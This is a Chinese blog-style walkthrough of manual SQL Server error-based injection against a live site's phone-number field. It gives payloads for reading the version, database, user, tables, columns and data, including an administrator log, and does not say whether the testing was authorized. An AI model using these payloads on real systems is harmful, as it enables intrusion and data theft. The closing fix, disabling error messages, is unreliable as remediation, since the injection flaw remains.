前言
最近測試了一個站點,這個站點挺有意思,發現沒有關閉錯誤提示,初步猜測是SQL server數據庫,后來驗證確實是。在這里記錄一下實戰過程,並詳細講解一下用到的知識點。
SQL server報錯注入原理
SQL server報錯注入的文章,網上有很多,大部分文章都列出了類似於公式的句子,卻沒有解釋為什么使用這樣的函數。這里用convert()
函數舉例,convert()
函數是是將日期轉換為新數據類型的通用函數。
對於咱們構造的payloadconvert(int,@@version)
,convert函數會先執行第二個參數指定的sql查詢,並嘗試轉化為int類型,因為查詢的結果是varchar類型,所以會轉化失敗報錯,報錯的信息當中有咱們需要的信息。
滿足這樣條件的函數很多,如:
convert() file_name() db_name() col_name()
還有一些其他的不列舉了。
發現注入點
之前猜測是SQL server數據庫,現在驗證一下,發現在輸入手機號的地方存在注入點,用sqlmap跑了一下沒跑出來,尷尬==,那就嘗試手工注入。構造payloadconvert(int,@@version)
,目的是查詢一下版本信息。
發現是SQL server數據庫
查詢基本信息
知道了版本,還需要查詢一下數據庫名,和當前用戶名(看看擁有多少權限)。
payload:
convert(int,db_name()) convert(int,user)
獲取表名
這里遇到了一點小問題,繼續使用convert()函數時,發現查詢的內容溢出了整數列。
這可如何是好,convert()無法使用了,所以咱們前面總結的實現相同功能的函數就派上用場了。這里更換函數,使用file_name()
函數,構造payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U')))
可以查詢出第一張表,這時候可以在后面加一個條件語句and name !='上一個表名'
,可以查詢出第二張表。
payload:
(file_name((select%20 top 1 name from 庫名.sys.sysobjects where xtype='U'and name !='上一個表名')))
如果想要查詢第三張表,再接着添加條件語句就可以了,可以查詢出所有的表。這里就不演示了。
獲取列名
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制表名 as varchar))))
我們獲取到了第一個列名"編號",接下來依然再后面添加條件語句and COLUMN_NAME != '上一個列名'
就可以獲取到第二個列名。
payload:
(file_name((select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制表名 as varchar) and COLUMN_NAME != '上一個列名')))
按照這種方法同樣可以查詢出所有列名。這里就不向下查詢了。
獲取數據
前面我們查詢到的表名有 S票據打印記錄``管理員操作記錄
而我們獲取了管理員操作記錄下的列名編號
和管理員編號
和操作內容
,下面我們查詢操作內容
下的數據。
payload:
(select top 1 列名 from 表名)
依然可以通過條件語句獲取到其他的數據,這里就不在演示了。
SQL server報錯注入到此為止。
修復方案
關閉錯誤提示